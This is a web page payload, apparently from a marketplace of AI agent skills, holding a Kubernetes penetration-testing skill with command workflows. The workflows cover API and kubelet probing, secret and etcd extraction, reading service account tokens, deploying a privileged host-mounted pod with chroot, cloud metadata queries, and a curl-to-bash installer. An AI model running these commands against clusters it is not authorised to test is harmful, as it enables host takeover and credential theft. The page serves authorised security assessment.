[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71CMB89N29S2XZ9NVK2EKPS":3,"skill-same:01M71CMB89N29S2XZ9NVK2EKPS":97},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":70,"commitSha":71,"skillDirectory":72,"forksCount":14,"repositoryHtmlUrl":73,"repositoryHomepageUrl":6,"ownerHtmlUrl":74,"ownerBlogUrl":6,"ownerDescription":75,"updatedAt":76,"install":77,"resources":90},"01M71CMB89N29S2XZ9NVK2EKPS","kubernetes-pentest-kubernetes-analyze",null,"Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fcloud\u002Fkubernetes\u002Fpentest\u002Fkubernetes\u002Fanalyze\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000011","运维与部署",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"pentest","kubernetes","kubernetes pentest kubernetes analyze","analyze","Tools","offensive","security","network","secrets","read","rbac","etcd","container-security","de","server","api","Bash","cybersecurity","testing","cm","2026-11-10 10:12:30",false,"---\nname: kubernetes-pentest-kubernetes-analyze\ndescription: Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools\ndomain: cybersecurity\nsubdomain: container-security\ntags:\n- containers\n- kubernetes\n- security\n- penetration-testing\n- offensive-security\nnist_csf:\n- PR.PS-01\n- PR.IR-01\n- ID.AM-08\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1610\ncapec: []\n---\n\n# Performing Kubernetes Penetration Testing\n\n## Overview\n\nKubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing kubernetes penetration testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Authorized penetration testing engagement\n- Kubernetes cluster access (various levels for different test scenarios)\n- kube-hunter, kubescape, kube-bench installed\n- kubectl configured\n- Network access to cluster components\n\n## Core Concepts\n\n### Kubernetes Attack Surface\n\n| Component | Port | Attack Vectors |\n|-----------|------|---------------|\n| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |\n| Kubelet | 10250\u002F10255 | Unauthenticated access, command execution |\n| etcd | 2379\u002F2380 | Unauthenticated read, secret extraction |\n| Dashboard | 8443 | Default credentials, token theft |\n| NodePort Services | 30000-32767 | Service exposure, application exploits |\n| CoreDNS | 53 | DNS spoofing, zone transfer |\n\n### MITRE ATT&CK for Kubernetes\n\n| Phase | Techniques |\n|-------|-----------|\n| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |\n| Execution | exec into container, CronJob, deploy privileged pod |\n| Persistence | Backdoor container, mutating webhook, static pod |\n| Privilege Escalation | Privileged container, node access, RBAC abuse |\n| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |\n| Credential Access | Secret extraction, service account token theft |\n| Lateral Movement | Container escape, cluster internal services |\n\n## Workflow\n\n### Step 1: External Reconnaissance\n\n```bash\n# Discover Kubernetes services\nnmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com\n\n# Check for exposed API server\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fversion\n\n# Check anonymous authentication\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\u002Fv1\u002Fnamespaces\n\n# Check for exposed kubelet\ncurl -k https:\u002F\u002Fnode-ip:10250\u002Fpods\ncurl http:\u002F\u002Fnode-ip:10255\u002Fpods  # Read-only kubelet\n```\n\n### Step 2: Automated Scanning with kube-hunter\n\n```bash\n# Install kube-hunter\npip install kube-hunter\n\n# Remote scan\nkube-hunter --remote target-cluster.com\n\n# Internal network scan (from within cluster)\nkube-hunter --internal\n\n# Pod scan (from within a pod)\nkube-hunter --pod\n\n# Generate report\nkube-hunter --remote target-cluster.com --report json --log output.json\n```\n\n### Step 3: CIS Benchmark Assessment with kube-bench\n\n```bash\n# Run kube-bench on master node\nkube-bench run --targets master\n\n# Run on worker node\nkube-bench run --targets node\n\n# Check specific sections\nkube-bench run --targets master --check 1.2.1,1.2.2,1.2.3\n\n# JSON output\nkube-bench run --json > kube-bench-results.json\n\n# Run as Kubernetes job\nkubectl apply -f https:\u002F\u002Fraw.githubusercontent.com\u002Faquasecurity\u002Fkube-bench\u002Fmain\u002Fjob.yaml\nkubectl logs -l app=kube-bench\n```\n\n### Step 4: Framework Compliance with Kubescape\n\n```bash\n# Install kubescape\ncurl -s https:\u002F\u002Fraw.githubusercontent.com\u002Fkubescape\u002Fkubescape\u002Fmaster\u002Finstall.sh | \u002Fbin\u002Fbash\n\n# Scan against NSA\u002FCISA hardening guide\nkubescape scan framework nsa\n\n# Scan against MITRE ATT&CK\nkubescape scan framework mitre\n\n# Scan against CIS Kubernetes Benchmark\nkubescape scan framework cis-v1.23-t1.0.1\n\n# Scan specific namespace\nkubescape scan framework nsa --namespace production\n\n# JSON output\nkubescape scan framework nsa --format json --output kubescape-report.json\n```\n\n### Step 5: RBAC Exploitation Testing\n\n```bash\n# Check current permissions\nkubectl auth can-i --list\n\n# Check specific high-value permissions\nkubectl auth can-i create pods\nkubectl auth can-i create pods --subresource=exec\nkubectl auth can-i get secrets\nkubectl auth can-i create clusterrolebindings\nkubectl auth can-i '*' '*'  # cluster-admin check\n\n# Enumerate service account tokens\nkubectl get serviceaccounts -A\nkubectl get secrets -A -o json | jq '.items[] | select(.type==\"kubernetes.io\u002Fservice-account-token\") | {name: .metadata.name, namespace: .metadata.namespace}'\n\n# Check for overly permissive roles\nkubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name==\"system:anonymous\" or .subjects[]?.name==\"system:unauthenticated\")'\n\n# Test service account impersonation\nkubectl --as=system:serviceaccount:default:default get pods\n```\n\n### Step 6: Secret Extraction Testing\n\n```bash\n# List all secrets\nkubectl get secrets -A\n\n# Extract specific secret\nkubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d\n\n# Check for secrets in environment variables\nkubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'\n\n# Check for secrets in mounted volumes\nkubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'\n\n# Search etcd directly (if accessible)\nETCDCTL_API=3 etcdctl --endpoints=https:\u002F\u002Fetcd-ip:2379 \\\n  --cacert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fca.crt \\\n  --cert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.crt \\\n  --key=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.key \\\n  get \u002Fregistry\u002Fsecrets --prefix --keys-only\n```\n\n### Step 7: Pod Exploitation\n\n```bash\n# Deploy test pod with elevated privileges\ncat \u003C\u003CEOF | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pentest-pod\n  namespace: default\nspec:\n  hostNetwork: true\n  hostPID: true\n  containers:\n  - name: pentest\n    image: ubuntu:22.04\n    command: [\"sleep\", \"infinity\"]\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - name: host-root\n      mountPath: \u002Fhost\n  volumes:\n  - name: host-root\n    hostPath:\n      path: \u002F\nEOF\n\n# Exec into pod\nkubectl exec -it pentest-pod -- bash\n\n# From inside privileged pod - access host filesystem\nchroot \u002Fhost\n\n# From inside any pod - check internal services\ncurl -k https:\u002F\u002Fkubernetes.default.svc\u002Fapi\u002Fv1\u002Fnamespaces\ncat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\n```\n\n### Step 8: Network Policy Testing\n\n```bash\n# Check for network policies\nkubectl get networkpolicies -A\n\n# Test pod-to-pod communication (should be blocked by policies)\nkubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Ftarget-service.namespace.svc\n\n# Test egress to external services\nkubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Fexample.com\n\n# Test access to metadata service (cloud environments)\nkubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n```\n\n## Validation Commands\n\n```bash\n# Verify kube-hunter findings\nkube-hunter --remote $CLUSTER_IP --report json\n\n# Cross-validate with Kubescape\nkubescape scan framework nsa --format json\n\n# Check remediation effectiveness\nkube-bench run --targets master,node --json\n\n# Clean up pentest resources\nkubectl delete pod pentest-pod\nkubectl delete pod test-netpol test-egress test-metadata\n```\n\n## References\n\n- [kube-hunter - Kubernetes Penetration Testing](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-hunter)\n- [Kubescape - Kubernetes Security Platform](https:\u002F\u002Fgithub.com\u002Fkubescape\u002Fkubescape)\n- [kube-bench - CIS Benchmark](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-bench)\n- [MITRE ATT&CK Containers Matrix](https:\u002F\u002Fattack.mitre.org\u002Fmatrices\u002Fenterprise\u002Fcontainers\u002F)\n- [Kubernetes Threat Matrix - Microsoft](https:\u002F\u002Fmicrosoft.github.io\u002FThreat-Matrix-for-Kubernetes\u002F)\n","# Performing Kubernetes Penetration Testing\n\n## Overview\n\nKubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing kubernetes penetration testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Authorized penetration testing engagement\n- Kubernetes cluster access (various levels for different test scenarios)\n- kube-hunter, kubescape, kube-bench installed\n- kubectl configured\n- Network access to cluster components\n\n## Core Concepts\n\n### Kubernetes Attack Surface\n\n| Component | Port | Attack Vectors |\n|-----------|------|---------------|\n| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |\n| Kubelet | 10250\u002F10255 | Unauthenticated access, command execution |\n| etcd | 2379\u002F2380 | Unauthenticated read, secret extraction |\n| Dashboard | 8443 | Default credentials, token theft |\n| NodePort Services | 30000-32767 | Service exposure, application exploits |\n| CoreDNS | 53 | DNS spoofing, zone transfer |\n\n### MITRE ATT&CK for Kubernetes\n\n| Phase | Techniques |\n|-------|-----------|\n| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |\n| Execution | exec into container, CronJob, deploy privileged pod |\n| Persistence | Backdoor container, mutating webhook, static pod |\n| Privilege Escalation | Privileged container, node access, RBAC abuse |\n| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |\n| Credential Access | Secret extraction, service account token theft |\n| Lateral Movement | Container escape, cluster internal services |\n\n## Workflow\n\n### Step 1: External Reconnaissance\n\n```bash\n# Discover Kubernetes services\nnmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com\n\n# Check for exposed API server\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fversion\n\n# Check anonymous authentication\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\u002Fv1\u002Fnamespaces\n\n# Check for exposed kubelet\ncurl -k https:\u002F\u002Fnode-ip:10250\u002Fpods\ncurl http:\u002F\u002Fnode-ip:10255\u002Fpods  # Read-only kubelet\n```\n\n### Step 2: Automated Scanning with kube-hunter\n\n```bash\n# Install kube-hunter\npip install kube-hunter\n\n# Remote scan\nkube-hunter --remote target-cluster.com\n\n# Internal network scan (from within cluster)\nkube-hunter --internal\n\n# Pod scan (from within a pod)\nkube-hunter --pod\n\n# Generate report\nkube-hunter --remote target-cluster.com --report json --log output.json\n```\n\n### Step 3: CIS Benchmark Assessment with kube-bench\n\n```bash\n# Run kube-bench on master node\nkube-bench run --targets master\n\n# Run on worker node\nkube-bench run --targets node\n\n# Check specific sections\nkube-bench run --targets master --check 1.2.1,1.2.2,1.2.3\n\n# JSON output\nkube-bench run --json > kube-bench-results.json\n\n# Run as Kubernetes job\nkubectl apply -f https:\u002F\u002Fraw.githubusercontent.com\u002Faquasecurity\u002Fkube-bench\u002Fmain\u002Fjob.yaml\nkubectl logs -l app=kube-bench\n```\n\n### Step 4: Framework Compliance with Kubescape\n\n```bash\n# Install kubescape\ncurl -s https:\u002F\u002Fraw.githubusercontent.com\u002Fkubescape\u002Fkubescape\u002Fmaster\u002Finstall.sh | \u002Fbin\u002Fbash\n\n# Scan against NSA\u002FCISA hardening guide\nkubescape scan framework nsa\n\n# Scan against MITRE ATT&CK\nkubescape scan framework mitre\n\n# Scan against CIS Kubernetes Benchmark\nkubescape scan framework cis-v1.23-t1.0.1\n\n# Scan specific namespace\nkubescape scan framework nsa --namespace production\n\n# JSON output\nkubescape scan framework nsa --format json --output kubescape-report.json\n```\n\n### Step 5: RBAC Exploitation Testing\n\n```bash\n# Check current permissions\nkubectl auth can-i --list\n\n# Check specific high-value permissions\nkubectl auth can-i create pods\nkubectl auth can-i create pods --subresource=exec\nkubectl auth can-i get secrets\nkubectl auth can-i create clusterrolebindings\nkubectl auth can-i '*' '*'  # cluster-admin check\n\n# Enumerate service account tokens\nkubectl get serviceaccounts -A\nkubectl get secrets -A -o json | jq '.items[] | select(.type==\"kubernetes.io\u002Fservice-account-token\") | {name: .metadata.name, namespace: .metadata.namespace}'\n\n# Check for overly permissive roles\nkubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name==\"system:anonymous\" or .subjects[]?.name==\"system:unauthenticated\")'\n\n# Test service account impersonation\nkubectl --as=system:serviceaccount:default:default get pods\n```\n\n### Step 6: Secret Extraction Testing\n\n```bash\n# List all secrets\nkubectl get secrets -A\n\n# Extract specific secret\nkubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d\n\n# Check for secrets in environment variables\nkubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'\n\n# Check for secrets in mounted volumes\nkubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'\n\n# Search etcd directly (if accessible)\nETCDCTL_API=3 etcdctl --endpoints=https:\u002F\u002Fetcd-ip:2379 \\\n  --cacert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fca.crt \\\n  --cert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.crt \\\n  --key=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.key \\\n  get \u002Fregistry\u002Fsecrets --prefix --keys-only\n```\n\n### Step 7: Pod Exploitation\n\n```bash\n# Deploy test pod with elevated privileges\ncat \u003C\u003CEOF | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pentest-pod\n  namespace: default\nspec:\n  hostNetwork: true\n  hostPID: true\n  containers:\n  - name: pentest\n    image: ubuntu:22.04\n    command: [\"sleep\", \"infinity\"]\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - name: host-root\n      mountPath: \u002Fhost\n  volumes:\n  - name: host-root\n    hostPath:\n      path: \u002F\nEOF\n\n# Exec into pod\nkubectl exec -it pentest-pod -- bash\n\n# From inside privileged pod - access host filesystem\nchroot \u002Fhost\n\n# From inside any pod - check internal services\ncurl -k https:\u002F\u002Fkubernetes.default.svc\u002Fapi\u002Fv1\u002Fnamespaces\ncat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\n```\n\n### Step 8: Network Policy Testing\n\n```bash\n# Check for network policies\nkubectl get networkpolicies -A\n\n# Test pod-to-pod communication (should be blocked by policies)\nkubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Ftarget-service.namespace.svc\n\n# Test egress to external services\nkubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Fexample.com\n\n# Test access to metadata service (cloud environments)\nkubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n```\n\n## Validation Commands\n\n```bash\n# Verify kube-hunter findings\nkube-hunter --remote $CLUSTER_IP --report json\n\n# Cross-validate with Kubescape\nkubescape scan framework nsa --format json\n\n# Check remediation effectiveness\nkube-bench run --targets master,node --json\n\n# Clean up pentest resources\nkubectl delete pod pentest-pod\nkubectl delete pod test-netpol test-egress test-metadata\n```\n\n## References\n\n- [kube-hunter - Kubernetes Penetration Testing](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-hunter)\n- [Kubescape - Kubernetes Security Platform](https:\u002F\u002Fgithub.com\u002Fkubescape\u002Fkubescape)\n- [kube-bench - CIS Benchmark](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-bench)\n- [MITRE ATT&CK Containers Matrix](https:\u002F\u002Fattack.mitre.org\u002Fmatrices\u002Fenterprise\u002Fcontainers\u002F)\n- [Kubernetes Threat Matrix - Microsoft](https:\u002F\u002Fmicrosoft.github.io\u002FThreat-Matrix-for-Kubernetes\u002F)\n",{"name":5,"tags":52,"capec":56,"model":57,"tools":58,"domain":44,"maxTurns":62,"nist_csf":63,"subdomain":39,"description":7,"mitre_attack":68},[53,28,33,54,55],"containers","penetration-testing","offensive-security",[],"sonnet",[59,43,60,61],"Read","Glob","Grep",20,[64,65,66,67],"PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01",[69],"T1610","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fcloud\u002Fkubernetes\u002Fpentest\u002Fkubernetes\u002Fanalyze","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":78,"prompt":88,"zipAvailable":89},[79,82,85],{"tool":80,"command":81},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill kubernetes-pentest-kubernetes-analyze",{"tool":83,"command":84},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill kubernetes-pentest-kubernetes-analyze",{"tool":86,"command":87},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill kubernetes-pentest-kubernetes-analyze","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fcloud\u002Fkubernetes\u002Fpentest\u002Fkubernetes\u002Fanalyze\u002FSKILL.md",true,[91],{"path":92,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":95,"sourceHtmlUrl":96},"index.json","REFERENCE","参考文档",722,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fcloud\u002Fkubernetes\u002Fpentest\u002Fkubernetes\u002Fanalyze\u002Findex.json",[98,121,142,162,184,199],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":47},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[105,106,107,108,109,40,46,110,111,112,113,114,115,116,117,118,119,44,120],"services","detect","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":47},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[128,105,129,108,130,131,132,44,43,133,134,135,136,137,40,138,139,36,140,141],"exploit","services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":148,"publishedAt":47},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[149,150,151,152,153,154,44,43,155,133,30,156,40,36,157,158,159,160,161,57],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":163,"name":164,"nameZh":6,"description":165,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":166,"categories":167,"keywords":168,"publishedAt":47},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[106,169,170,171,172,173,174,46,175,44,120,176,177,178,179,180,181,182,183,40],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":185,"name":186,"nameZh":6,"description":187,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":188,"categories":189,"keywords":190,"publishedAt":47},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[191,192,106,193,171,173,194,46,195,175,44,120,133,42,196,197,198,183,40,110],"thread","processes thread injection detect","injection","memory","process-injection","apc-injection","thread-injection","nt-api",{"skillNo":200,"name":201,"nameZh":6,"description":202,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":203,"categories":204,"keywords":205,"publishedAt":47},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[206,106,171,207,194,46,208,209,44,120,210,211,212,213,214,215,40,110,216,217],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]